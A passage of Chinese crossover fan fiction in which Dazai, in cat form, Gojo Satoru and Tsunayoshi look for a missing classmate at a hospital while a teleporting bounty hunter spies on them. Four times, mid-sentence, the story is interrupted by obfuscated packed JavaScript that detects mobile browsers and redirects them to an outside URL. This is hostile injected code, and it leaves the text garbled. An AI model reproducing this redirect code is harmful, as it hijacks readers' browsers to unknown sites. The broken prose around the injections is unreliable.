“怎么会?”瞧着五条悟脸上不为所动的表情,太宰瞬间收起脸上的假笑,又在下一个瞬间露出另外一个意味深长的微笑,“你有什么证据?” 他脸上表情变化的速度太快,以至于给人一种他一直在笑,什么都没有变的感觉,但坐在客厅里的另外两个人,哪一个都不是省油的灯,即使没看清楚,两人也本能地感觉到——有什么东西,撕开了一条裂缝。 “直觉,”五条悟盯了他一眼,往后大剌剌地一靠,背部贴上沙发,两只手臂展开搭在沙发顶上,单人沙发都差点兜不住他的手,翘起二郎腿,“不需要证据,我的直觉就是答案。” 他的姿势有多么松弛,语气就有多么自信。 哎呀,太宰抬起头,望了望天花板,沉默片刻后,毫不退让地对上五条悟的视线,脸上缓缓浮现出一个无机质的笑容。 “其实我是知道的哦,五条先生并不是无意中捡到我变成的黑猫吧?你应该是看见了我出现在这个世界的全过程,所以才会起意把我捡回来。” 把猫窝放在自己房间里估计也是出于警惕,这个房子里还有一个未成年在,太宰轻飘飘地撇了一眼目瞪口呆的纲吉,所以五条悟才想要把他认为的不确定因素放在自己的眼皮底下看管。 呀,是个会关照学生安全的好人呢,同时,这也说明他对自己的能力很自信,和西索打的那一架他应该是没有表现出全部的能力。 对面五条悟的眉头微微蹙了起来,上半身往前倾,反驳道:“不是这……” “当然五条先生也不是纯粹想利用我,”太宰治笑吟吟地打断了他,“这种事不用你说我也知道,五条先生多少还是出于一些善心。” 五条先生:“……” 正话反话都被你说完了,我还能说什么? 看到他一脸吃瘪的样子,太宰脸上的笑容顿时变得更大了,他微微前倾身体,将手肘支在茶几上,十指交叉抵住下巴,一脸饶有兴趣地说: “结合昨晚我无意听到的话,以及刚刚你们在听到我来自异世界时的表情变化,我是不是可以得出这样一个结论——你们两个和我一样,都不是这个世界的人?” 视线所及之处,沢田纲吉乖乖地点了点头,五条悟挑起了眉头。 顿了顿,太宰继续问道:“五条先生是想从我身上找到回去自己世界的线索吗?” 五条悟没有回答,客厅在这一刻陷入绝对的寂静。 沢田纲吉的眼睛变成了豆豆眼。 五条老师原来是抱着这种想法的吗?被妖怪太宰君看出来真是一点也不意外欸。 夹在仿佛在用狂风暴雨对轰的两人之间,他大气都不敢喘一下,只敢在心里偷偷吐槽,吐槽时还顺便略带同情地偷瞄了一眼五条悟,就像个躲在地里,不时小心翼翼探头出来查看状况的小仓鼠一样。 小仓鼠心里苦,这电闪雷鸣的天气到底要到什么时候才能过去啊? 沉默良久后,五条悟垂下眼,没让任何人看见他眼底的情绪:“大体上是这样没错,但有一点你说错了。” 说错了什么他没有提。 紧接着他抬起眼帘,换了个话题:“既然大家都说开了,那么就由我陪这位从异世界过来的太宰去寻找他的目标,纲吉的话……” 就在这个时候,对面正在默默观察他的猫耳少年扑通一下又变回了黑猫。 黑猫头顶的一双猫耳朵飞快地向后撇,唯一能识别信号的鸢色眼瞳也紧紧地闭上,四只爪子被他藏进肚子底下,身体也蜷了起来,看起来就像是米黄色沙发上多了一块椭圆形的黑色毛毯。 五条悟的目光不由自主地被那格外突出的一团黑色吸引,话到半途突然停下来,片刻后他用握成拳头的手抵住嘴唇,但还是忍不住发出几声沉闷的笑声。 由挥斥方遒,气场几乎压倒全场的人类变成娇小可爱,没有一点杀伤力的猫咪,他没有大笑出声已经是给了这位猫咪指挥官的面子。 但这笑声在安静的客厅中还是很明显,自闭的黑色毛毯显然也听到了,一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538248|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳朵从那一团里竖了起来,顷刻间破坏掉完美的椭圆,毛绒绒的猫耳朵缓慢地抖动着,发出窸窸窣窣的声音。 更可爱了,甚至可爱得有点让人想大笑出声。 沢田纲吉紧紧地捂住自己的嘴,不让一点声音泄露出去。 五条悟的笑声差点变质,他赶紧咳嗽了一声清嗓子,假装刚刚无事发生,接着自己没说完的话说下去:“纲吉的话,照常去学校上学。” 沢田纲吉则是主动移开注视着黑色毛毯的眼神,深怕自己不小心和五条老师一样当场笑出声,“我也想帮太宰君的忙。” “不——行,”五条悟学着太宰的样子拉长了声音,“学生的本分是学习。” “那老师的本分还是教学呢,”沢田纲吉不服气地小声嘟囔,“怎么五条老师可以,我就不可以?” “你说什么?” “我说——”沢田纲吉豁出去似的,站起来大声说道:“我也要帮太宰君的忙!” 盯着他看了片刻,五条悟最终还是点了点头。 在沢田纲吉的小声欢呼背景音中,他下结论一般地说道:“天色也不早了,今天就这样吧,明天,医院应该是不让带宠物的吧,带着太宰不方便,明天我一个人去医院探望一下玲,顺便问问她家在哪里。” “那我呢?” “明天你带着太宰一起去学校,保护好他就行,我担心还会有什么不明身份的人来找他。”说完后五条悟站起来,状似随手地一把捞起把脑袋埋在胸前,似乎还在生闷气的黑猫,一边呼噜着他身上的毛,一边向卧室走去。 直到把太宰放进猫窝之前,他都没再说话,放下猫后便很快走出房间。 对着五条悟离开的方向,风中凌乱的黑猫拱起脊背,狠狠哈了一口气。 故意的,五条混蛋绝对是在故意报复! 刚刚一路上他都被五条悟控制在手里动弹不得,被他逆着撸头顶和背部的毛,本来好好一个漂亮黑猫被放开后变得乱七八糟,现在的他就像是一个在洗衣机里转过一圈后再出来的毛绒娃娃…… 猫的本能让他觉得哪里哪里都不舒服,在猫窝里追着自己的尾巴转了一个圈后,他顿住脚,恍然醒过神来。 太蠢了! 这种行为真的太蠢了! 没一会儿,鼻尖痒痒的,他张开嘴,刚伸出舌头要去舔,下一刻猛地闭上嘴,差点给自己来了个咬舌自杀。 可是,鼻尖痒痒的,随着时间的推移越来越痒。 遵从猫的天性舔毛,还是守住人的自尊不舔毛呢?嗯,这是一个好问题。 被他归为罪魁祸首,因此遭到他发自内心怨恨的五条悟此时不知道在干嘛,很晚才回房睡觉。沢田纲吉则是一如既往,陷入作业地狱里不可自拔,哀嚎声甚至一度传到了太宰待的猫窝里。 两人一猫都度过了一个略有些忙乱的夜晚。 第二天,很是不幸的,才度过一个糟心夜晚的太宰又得到了一个坏消息。 15.吾徒纲吉叛逆伤透吾心 “五条老师,你是说玲同学不见了?” 紧张兮兮地撇了一眼讲台上的男老师,沢田纲吉将上半身挺得笔直,他的双手都放在桌子底下,一只手里捏着一部白色手机,另一只手慢腾腾地往上面打字,因为盲打的操作不熟练且注意力大半都放在盯梢老师上,这么短的一句话他几乎是打了两分钟。 这一节是化学课,来教他们的老师脾气严厉,不太好说话,在他课上开小差简直就是作死。 不得不作死的纲吉越发挺直身体,他不知道,如果不是坐着且周围的同学们没有把注意力放到他身上,那种僵硬到发木的姿势,任哪一个人都能看得出他在心虚。 消息发过去大概半分钟之后,手机轻轻震动起来,他猜应该是五条老师的回信,趁着化学老师转身的一刹那,大着胆子低下头看了一眼。 五条悟一连发了三条短信: “是的,我今天去同心医院探病,但玲同学的主治医生告诉我她一早就出院了。医院方面是不建议出院的,但病人执意要出院他们也没办法。” “之后我去了一趟玲同学的家,敲了半天门都没有人回应,最后还是他们家隔壁邻居告诉我,玲同学的母亲带着她回老家养伤去了。” “玲同学被她母亲带回老家养伤这件事,道理上是说得通,但问题是我昨天送玲同学去同心医院时,她当时承诺过我会乖乖待在医院里,不应该只是过了一天,她就把这个承诺忘得一干二净了吧?” 还没等沢田纲吉想出该怎么回复,他又收到了来自五条老师的两条短信: “不过玲同学也确实说过自己不想去医院这种话,那她当时答应我可能只是在敷衍我,拖延了一晚后,她在医院实在呆不下去,为了避开我才早早出院,并让自己的母亲带她回老家。” “如果是这样的话,老师我会很伤心的(╥_╥)。” 盯着萌萌的表情包,沢田纲吉的脑海中不由自主地浮现出五条老师做出这个表情的样子。 纲吉:“……” 猛地摇了摇头,纲吉赶紧发过去一条短信安慰他:“五条老师,玲同学应该不是这种人。” 半响后,他收到了五条悟的回复:“哇纲吉真是一个好人,借你吉言了。对了,告诉太宰,我会找到玲同学的下落,让他不用担心。” 看到前半条,纲吉张开嘴,眼神忍不住往外漂移了一瞬,摸了摸鼻子才接着往下看,看完一整条信息后,他冲着面前敞开的课桌肚瞄了一眼。 被他带来学校的黑猫正卧在里面。 他坐着的位置是正中间,从窗户外打进来的光线均等地分配给所有人,分到他这就没多少光了,因此课桌肚的深处很黑。 黑到根本看不见黑猫的后肢藏在哪里,借着外界斜射进入口的一点光源,只能隐约瞧见他的一双前爪堆在胸前,爪子上方是一团不规则的阴影,头顶尖尖的部分大概是两只猫耳朵。 黑猫应该是将脑袋歪在了爪子上。 那双鸢色的眼睛也闭上了,他看起来睡得很是香甜。 就像是一团黑芝麻糊。 因为答应五条老师要随身带着太宰保护他的安全,所以今天还要上课的沢田纲吉才偷偷地把太宰带进教室,藏在他的课桌里面。 此时他有点为难地挠了挠头——要现在就叫醒太宰吗?打扰别人睡觉是不是不太好?而且他还在上课欸…… 不过没思考几秒钟,他就抛下了所有顾虑,把手伸进课桌里,准备推醒黑猫。 五条老师没找到玲同学的消息是重要信息,关系到太宰君能不能找到回家的路,他不应该以任何名义拖延,更不应该自认为是为他好的瞒下不说。 只是当他的手大概靠近黑猫到半米之内时,毫无征兆的,一双鸢色的眼眸就像是探照灯一样突然亮起来了。 纲吉的手立时僵住,身体也僵成一根木棍,如果他有尾巴,此刻他的尾巴恐怕也竖了起来。 一片黑暗里突然亮起两点红光,有点恐怖……不,是十分恐怖啊! 黑猫自课桌里探出头来,踩着纲吉僵直的手臂,泰然自若地爬上他的肩膀,拉长身体伸了个懒腰,然后往纲吉另一只手上拿着的手机瞅了一眼。 手机界面黑乎乎的,什么也看不见,手机屏幕十秒钟没有人点击,已是自动熄灭了。 太宰猫抬起前爪,按在纲吉的侧脸颊上,微微用力推了一下。 直到柔软的肉垫按在脸颊上的那一刻,纲吉才自心悸中醒过神来,只不过,化学老师的一声怒喝也在同一时间内向他袭来:“沢田纲吉,你竟敢带着宠物来上我的课?你还想不想好好学习了!!” 哇呜,全——完——了! “对不起!”沢田纲吉麻溜地站起来并滑跪道歉。 然而化学老师似乎完全没有放过他的意思,只见他脸色一板,从不好好学习上不了好大学开始,到浪费时间可耻,一直说到现在不听讲长大以后只能去搬砖…… 一通喋喋不休的说教听得沢田纲吉头昏脑胀,最后总算是在一片昏沉中捕捉到了一声“出去站着”,随即便如蒙大赦地在同学们的视线里快步走出教室,面朝走廊外侧站好,带着牵累他的太宰猫一起。 把五条老师发过来的消息悄声告诉太宰,他迟疑着问道:“太宰君,你现在要怎么办?” 黑猫歪了歪头,二话不喵地从他身上跳到地上,甩着尾巴啪嗒啪嗒地跑向楼梯。 “喂别自己一个人乱跑啊!”纲吉冲着太宰的方向伸出尔康手,他还记得现在是上课时间,所以说话的声音也压得很低,几乎是从嗓子眼里憋出来的。 就隔着这么一点距离,黑猫肯定听到了,可是前方的黑猫头也不回,前进的脚步毫无迟疑,就像是没听到一样。 眼见他马上就要消失在拐角楼梯处,纲吉撇了一眼讲台上口沫横飞的化学老师,无可奈何地叹了口气,随即猫着腰鬼鬼祟祟地越过窗台,轻手轻脚地跟上太宰,在下一层楼梯拐角处一把捞起他,“我带你走吧。” 被他捞到手里的黑猫没有反抗,黑乎乎的爪子扒住他的手指,一双鸢色的大眼睛朝他望过来,眼神就像是会说话一样。 看着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543405|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛,纲吉不禁主动解释了一句:“我说过要帮你的,你现在这个样子出去肯定很麻烦,你是想去找玲同学吧?我带你去,我们可以先去和五条老师会和。” 黑猫仍然盯着他。 “……至于化学老师,”纲吉的眼神游移了一下,深吸一口气后颤着声音道:“大不了回来后继续罚站。” 盯着他的视线消失了,同时手心泛起一丝痒意,仿若被一根狗尾巴草挠了一下,纲吉紧盯着台阶,一步一步往下走。 痒意从手掌延伸到手腕,紧接着手臂传来衣服被拉扯的感觉,一路往上,最后停在肩膀上不动,明明没有接触到毛绒绒的实感,但一点其他生物的热意仿佛能隔空传递到脖颈处。 他能想象出黑猫是怎么在他的手上站起来,走到手腕处,又踩着他的手臂爬上了他的肩膀,最后稳稳地趴在那里的。 纲吉蜷起手掌,中指按在手心被黑猫踩过的地方上,左右摩挲了几下,猫爪垫踩在人手心上的感觉软绵绵的,怪不得那么多人喜欢吸猫。 这应该是同意了的意思吧? 大概是分心的惩罚,思维才一转到其他地方,他就不小心踩漏一级台阶,身体失去平衡,仰面朝下倒,最后结结实实地摔了一跤。 幸好他当时踩着的是倒数第二级台阶,跌得不远,要不然他现在应该已经一路滚下去,顺便替学校打扫一遍楼梯了。 “啊,嘶——”沢田纲吉捂着头,抬起来的脸上多了一道横亘两颊的红痕,爬起来的动作流利无比,眼神中却透着一丝习惯成自然的麻木。 旁边见机得快,及时跳车,摆脱被拍扁命运的太宰:“……” 这种自杀方法,他那本《完全自杀手册》上还真没写过,又在纲吉身上长见识了呢。 跌跌撞撞去医院的过程略过不提,总之,一个多小时后,灰头土脸的沢田纲吉带着太宰猫成功抵达医院门口。 “总算到了,”沢田纲吉仰头望向挂在大门上方的招牌,一脸沧桑地喃喃自语,“差点以为要死在路上了。” 太宰猫这会儿不在他的肩膀上,而是蹬鼻子上脸地占据了他毛绒绒的头顶,和他同样仰着一张脸望向同心医院。 同步频率满分。 “哟,纲吉,太宰~”迎面走来一位‘白发苍苍’的青年,促狭的笑容明晃晃地挂在脸上,“你们这是被送去非洲挖煤后终于逃回来了?” 他们……主要是纲吉,提前短信通知了五条悟会一起过来医院这件事情,所以他才会及时出现在这里。 太宰猫一动不动,连眼神都没丢给他一个。 “五条老师,你别取笑我了。”顶着头顶沉重的负担,沢田纲吉小心翼翼地调转视线,尴尬地摸了摸鼻子,“本来不需要用这么长的时间,但我们在过来的路上发生了一点意外。” 先前那道横亘纲吉两颊的红痕不仅没有消失,还又多添了几道,看起来就像是被车轮碾过一样。 “什么意……”话没说完,五条悟突然转头,犀利的视线如同刀锋一般朝斜下方角落里的草丛飞去,“谁!” 16.脑海里出现了糟糕的画面 这家医院做了大片大片的绿化处理,正前方通往同心医院门口的是一条笔直宽敞的白色道路,每隔一段距离立着一根路灯,道路两侧是修剪得整整齐齐的绿色草坪。 一望无际的草坪里还有修剪成椭圆形的草丛,分布生长的茂密大树,叶子一年四季都是绿油油的,看着就令人心胸开阔。 被五条悟注目的草丛只有半米高,看起来不像是能藏起一个成年人的样子,碧绿的叶子微微摇晃,在投过去的,刀剑般锐利的视线下瑟瑟发抖。 和同样望过去的沢田纲吉对视一眼,一句浪费时间的废话都没说,五条悟骤然消失在原地,瞬移一般出现在草丛中央。 被他落在后面的纲吉顶着头顶的猫也跟了过来。 两人把草丛翻找了一遍,但什么都没有找到。 没有找到里面曾经藏了一个生物的迹象,也没有发现其他有用的线索。 这里只有平整的,认不出叫什么名字所以一律被五条悟归为杂草的绿叶子草科生物和生长在杂草里的几丛白色花骨朵。 仿佛他们刚刚察觉到的异样只是错觉。 走出草丛,五条悟习惯性地拍了拍干干净净的衣领,在瞬移的同一时间,他也一并开启了『无下限』术式。 『无下限』术式可以隔开所有外界物品和他身体的接触,所以虽然在从外面看来干净,其实里面布满灰尘和黑色颗粒状污迹的草丛里大搜了一通,但他的全身都还是不染一丝尘埃。 在他原本的世界,其实他已经练成了自动版无下限,能够自动识别物体伤害并自动开启格挡,那个时候的他,全天所有时间都保持着无下限开启状态。 但这种状态会对他的大脑造成很重的负担,片刻不停地使用会烧坏脑子,于是他还会在自己的能力范围内持续发动反转术式,用以提供新鲜的大脑。 理论满分,实际用起来,大脑使用到烧坏,再恢复,烧坏,再恢复,烧坏,再恢复,维持着这种轮回十几年,其实还是有点痛的啦。 他来的这个新世界不像原本的世界,没有满大街的怪物辣眼睛,不需要老是出任务,到处跑去消灭咒灵,也没有各路不怀好意的人盯着他的性命,安全太多,所以他已经很久没有全天都开着『无下限』了。 只在想用的时候手动开启。 毕竟,即便是用全世界最硬的铁打出来的、对待本职工作超负责任的、最强的五条老师,有时候也稍微想偷一点懒呢。 摸了摸后脑勺,五条悟带着一丝遗憾地啧了一声,“已经溜走了,算那家伙好运。” 虽然没有真的找到人,但他相信自己的感觉。 一经诞生,他就因为拥有五条家几百年才出的一例『六眼』出了名,被挂在各路悬赏榜单上,他的所有悬赏金额加在一起,总额已经过亿,因此时常会被各路诅咒师窥视。 被人窥探的感觉他已经熟悉得不能再熟悉。 他确定,投过来的那一道视线,虽然和以前那些诅咒师看他略有不同,但也确实是带着某种目的性的,不是陌生人随便看看的那种。 “太宰君,别扯了别扯了,我出来就是,”身后传来纲吉一贯弱气的声音,同时在这段时间内已经熟悉了的脚步声也逐渐靠近,“轻点轻点,头发都要被你薅掉了。” 五条悟转头,黑猫还蹲在纲吉头顶,两只爪子各抓着一缕头发,表情倒是很平静,仿佛只是想突然发发脾气,但他头顶一双猫耳朵却在使劲往后贴,还不停地抖动,直到纲吉走到他面前都没有停下一秒。 噗,五条悟在心里大笑了起来,又抖又贴,恨不得打上一架的猫耳朵配上若无其事的表情,再想到这只猫其实是一个人类,他不由得在脑海里糟糕地等价换算出这种时候太宰的人类模样…… 如果是在平时,他肯定会当面笑出来,只不过,昨晚似乎做得有点过了,五条悟自觉自己今天还是不要惹得他更生气为好。 表面上,他还维持着刚刚那样带着点遗憾的表情,只是嘴角稍微往上弯了那么一厘米。 但,一束来自太宰的,狐疑的视线已经投了过来。 因为昨晚的事情,今天的黑猫对他可谓是异常冷漠,不想被这记仇的猫咪又记上一笔,五条悟连忙转身向同心医院走去,顺便用后背挡住那道幽幽的视线,“走吧,我们先去玲同学的病房看看。” 那道视线,并没有在他这一番作态后消失,反而随着他的继续前进,慢慢地变得焦灼起来。 * “呼,好可怕好可怕~”距离同心医院门口大概三百米远,绿化带里,靠近路边栽种的一颗枝繁叶茂的大树背后,一位大概二十来岁的黑发青年逐渐现出身形。 虽然嘴上这么说,但从他带笑的表情上可看不出半点害怕来。 此人的真名无人知晓,自称风信子。 风信子将身体牢牢藏在树后,脑袋稍微探出一点,吃了刚刚差点被抓到的教训,他不敢再将视线直接投放在前方被他盯梢的那一行人身上,只是用眼角的一点余光注意地上的影子,以此观察他们的行踪。 那一行人仅仅是在他刚刚藏身的地方搜了一遍,没有继续在周边搜索踪迹,现在正向着医院走去。 缩回脑袋,风信子摸了摸下巴。 看样子是不用立刻跑路,也不用躲到更远的地方去了,不过那个白头发的,应该是叫五条悟的家伙,感官很敏锐啊,只是好奇地瞧了他一眼,就差点被他抓出来。 幸好他一向谨慎,早早准备了一件万无一失的底牌。 标签【偷渡客】,作用是从一个地方偷渡到另一个地方,全程都不会被人发现,但需要提前设定偷渡前后的地址。 好处是什么地方都可以设置,即使是处于不可见状态或者隐藏了形态的幻想系空间,缺点是技能的冷却时间和偷渡的直线距离呈正相关,设定距离越长,冷却时间也越长。 在五条悟突然顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548654|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他的视线看过来后,他的危机感立刻爆了表,当机立断发动标签【偷渡客】,把自己转移到他早就设定好的目的地——距离这里三百米之外的,另外一颗树的后面。 几乎是同一时间,那人出现在他原来藏身的地方里,正好擦着他的鼻子掠过。 如果是普通的瞬移技能,空间转移诞生的波动足以给人留下追踪的线索,但他这是标签能力,发动后,在现实世界里什么都不会改变,什么都不会留下,就像是那里本来就没有人出现过。 任何人都找不到他存在过的线索,也绝对不会找到他的转移地址。 而且,这三百米里,栽了几十颗树,如果用地毯式搜索的方法一颗一颗查找,想找到他转移的位置也至少需要十几秒,而这十几秒,足够他再来一次转移了。 不过,他苦笑了一下,脑海里【偷渡客】标签的颜色变成了灰色,代表它进入冷却期,三百米左右的转移距离意味着三千分钟左右的冷却期,即50个小时左右,换算成天数就是2天多一点,也就是说大概2天后他才能再次使用这个标签。 底牌早早用掉了,在冷却期过去前他都最好待在安全屋里不出去,稍微想一想接下来这几天要过什么苦日子,他都替自己感到憋屈。 亏了亏了,这一单亏大发了。 再次探出头,风信子的眼睛里满是羡慕和嫉妒,但也只敢眼馋地盯着地上的影子看。 五条悟那种瞬移的能力,虽然动静很大,但也非常实用,看他的样子,像是随时都能发动,要是可以的话,他也想将自己的能力修炼到这种可以随时发动的程度啊。 到时候,他估计就能成为世界第一跑路赏金猎人,说不定还可以转职冒险家,和金前辈一样,满世界到处浪。 标签能力虽然可以升级,但升级难度几乎只比通关标签副本差一点,他弄到这个标签已经是侥天之幸,再要做这么冒险的事情,果然还是要从长计议。 至于调查任务,他瞅了一眼已经走进医院的几人(同样是间接观察),脚没有挪动一厘米。 算了,拍到的这点资料也足够交差了,委托人让他调查的人感官这么敏锐,再跟踪下去指不定会阴沟里翻船,在这么一单小任务里失手那可就太对不起他小心翼翼积攒到现在这种程度的名声了。 想着风信子低头,点开相册,一张偷拍的照片赫然映入眼帘,照片上保存了刚刚三人会和的那一刻。 看了片刻后,风信子微微眯起金色的眼瞳,似乎在某个时刻,他的眼底滑过了一抹奇特的光芒。 真有意思啊,没想到为了来点外快接一单小任务也能遇到意外之喜。 lucky~ 在手机上鼓捣了几分钟,听到叮的一声后,他扬起嘴角,随手把手机放回兜里,最后撇了一眼已经不见人影的医院门口,身影慢慢消失在空气中。 一阵风吹过,大树后面,只剩下几片绿色树叶,打着旋地飘落。 17.笑得有点甜 一条白色的医院走廊,两人一猫以一种奇特的姿势行进中。 前方,一位身材高大的白发护卫正在开路,这人走路的姿势非常嚣张,却对本职工作很是上心,挡下了所有靠近过来的人类。 后面,以人为骑的残暴帝皇太宰猫面无表情,两眼炯炯有神地盯着护卫的后背,似乎是在监察这位的活儿干得是不是卖力。 身处这奇怪的一行人里,老实坐骑兼唯一的正常人纲吉心里抓狂至极。 夹在这一人一猫之间,他有一肚子槽想吐,比如—— 五条老师您的走路姿势稍微有点狂野了吧!不考虑改一下吗? 赶走所有接近我们的医务人员真的好吗?不要仗着你有钱就随便拿钱打发人啊!你是暴发户吗? 还有,你和太宰君两个人又在闹什么脾气啊? 昨天晚上不是还好好的,明明话也说开了,为什么这会儿好像又闹起来了? 今天你们两个不是刚刚才见上面吗?为什么什么话都没说也能闹起来啊!你们之间是有什么心灵感应在吗? 但碍于莫名沉重的氛围,他一个字都没能说出来。 低着头,纲吉木着一张脸前进,走着走着不由自主地越走越慢,然后在头上的小祖宗对他头发的摧残下,强行提速跟上前方,始终和五条悟保持至少不落后两米的状态。 一路沉默地抵达位于三楼住院部的某间单人病房,五条悟当先打开白色的房门,跨过门槛。 一般来说,单人病房会比普通的三人病房布置得更舒适,除了被安置在各处的医学相关仪器以及只有在医院才会出现的病床,其他地方使用起来和住在公寓也没什么不同。 舒适的沙发,会客用的茶几,挂衣服的衣柜,向阳的窗户,质地比普通病房好出一截的窗帘,有的单人病房甚至会在墙上挂上电视和优美的风景画。 这间单人病房就是这样,以上说的这些它全部都有。 一走进病房,五条悟就四处瞧了一眼,看完后他暗自点了点头,病房和他上次离开时没有什么区别,医院方很好地履行了和他的约定。 知道玲同学不明原因地主动出院后,五条悟在第一次过来时就和医院方面说好了,暂且保持病房的状态不变。 作为医院的无关人员,他本来是没有这种权利的,而且这种无理要求医院方一般也不会允许,但在一点不能明说的小手段下,医院那边最后还是同意了,但他们也提了一个条件——最多只能保持一天时间。 也是因为这家医院正处于淡季,空置的病房多出了那么几间,所以他的那点小手段才这么容易得逞。 如果病人多得全部病房都塞不下,那无论谁来说什么、做什么估计都不好使。 抱着手臂倚靠在一边的白色墙壁上,五条悟朝着走进来的纲吉和他头顶的黑猫撇了一眼,示意道:“呶,就是这里了,我先前来过一次,没找到什么线索,所以我倾向于玲同学是自己主动离开的。” 到了病房,黑猫总算动了,他踩着纲吉的肩膀跳到柜子上,再从柜子上跳到地上,往里边走了几步,随后摇身一变,新鲜的猫耳少男太宰治堂堂登场。 飞快地抬起双手到头顶,五指并拢,虚虚挡住那两只活泼好动的猫耳朵,猫尾巴也紧紧贴在背后,太宰瘪着嘴道:“纲吉,快关上门啦,我可不想在医院引起轰动。” “太突然了太宰君!”被他使唤的纲吉一边说一边转身,三步并作两步,快速返回门口,合拢门扉。 他还记得这里是医院,关门时特地放轻力道,产生的声音很小。 一切搞定后,纲吉转过身,心累地扶额,“不要在公共场合搞突然袭击啊!” “知道啦知道啦,看不出来纲吉你还是个喜欢啰嗦的人呢~”太宰放下双手,在纲吉的小声抗议中走到房间中央唯一一张病床前。 一米五宽的单人病床上,白色床单并不平整,中间大块地方带有明显的褶皱,薄薄的蓝白色被褥凌乱地堆成一团,挤在床脚一侧,放置在床头的素色枕头歪了一角,仿佛有人才从这张床上起来,没有收拾就离开了。 五条悟走了过来,“玲同学的主治医生说她一大早就去找他办出院手续,一副很急的样子。” 太宰点了点头,没说话,也没看他。 他将视线投向病床旁边,那里放着一个棕红色的木制床头柜,一共三层,最顶层放着一个一次性纸杯,纸杯里装着半杯水,除此之外别无他物。 拉开第一层抽屉,里面空无一物,什么都没有。 第二层抽屉里放着一包没用完的纸巾。 第三层抽屉干干净净,和第一层一样什么都没有。 “玲同学收拾得很干净。”跟着他的动作,站到他左边的五条悟同样看到了抽屉里的情况。 “为什么这么说?”太宰神色微动,鸢色的瞳对上五条悟的眼眸,语气平和地问:“她昨天被你送到医院,除了自身本来有的东西,应该没来得及带其他东西吧。” 见太宰终于不对他保持那种疏离冷漠的状态,五条悟明显高兴起来,他想了想,说:“昨天临走前我送了她一包金平糖,那本来是我带在身上准备自己吃的。” “探病应该带礼物对吧,”五条悟抓了抓头发,“临时没有准备,所以我就把那包糖给了她。” “结果她看着我,一脸愧疚得要命的表情,泪珠子都快掉出来了,接糖的动作也小心翼翼的,就像是在接受什么贵重又易碎的贡品一样。”咋了咋舌,五条悟低声说道,“哇啊我又没说要怪她。” “呀,五条老师很豁达嘛~”太宰治对着他笑了笑,形状优美的眼瞳也弯成了一束月牙。 五条悟用食指挠着侧边脸颊,视线不禁漂移到其他地方,第一次被那个一向对他没好话的太宰夸奖,总觉得有点不真实。 而且,为什么他会觉得这家伙笑得有点甜? 在他移开视线的同时,若有所思的太宰也移开了视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553269|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,他根本没把自己刚说出口的那句话当回事。 只有在为了达到某种目的说假话时,他才会格外注意对方的反应,好随时调整应对策略,一般聊天时,因为不含目的性,想到什么也就说什么了。 但不知道是因为本能还是别的什么,这样的他似乎很招女性的喜欢,更是格外招性情偏激的女性喜欢。 用他在武装侦探社搭档的话来说,就是因为这家伙总是不分对象,对谁都是一副暧昧的亲切表情,所以才会受到炸弹威胁。 常应警惕某绷带浪费装置的甜言蜜语——国木田独步。 太宰的目光在敞开的抽屉里打转。 盯着三层抽屉挨个打量了一会儿,他的目光定格在第一层里。 抬起右手,将食指和中指两指并在一起,在白色抽屉内板上一处处摸索,最后停在中间偏里侧大概一指处,一双鸢色眼眸微微眯起。 ——“找到了。” “太宰你终于不和我闹别扭了?” 像是后知后觉地想到这一点,迟了片刻的五条悟语气振奋地说道,几乎是和太宰的声音同时响起。 “等等,”五条悟转过头,疑惑地问道:“……什么找到了?” “……”太宰才扬起的嘴角哗啦一下全部垮下来,“什么闹别扭?又不是小孩子吵架。” “我是发自内心地怨恨你,直到你向我道歉之前,我都不会原谅你的哦。”他撅起了嘴。 “对不起……?”五条悟脱口而出,唯独句尾多了点疑问的语气。 “太敷衍了!” “等等,难道你还在记恨昨晚我捋乱你毛的事情吗?我以为刚刚我们已经和好了。” “没有的事,我才没有那么小气,也不是在记恨昨晚的事情……” 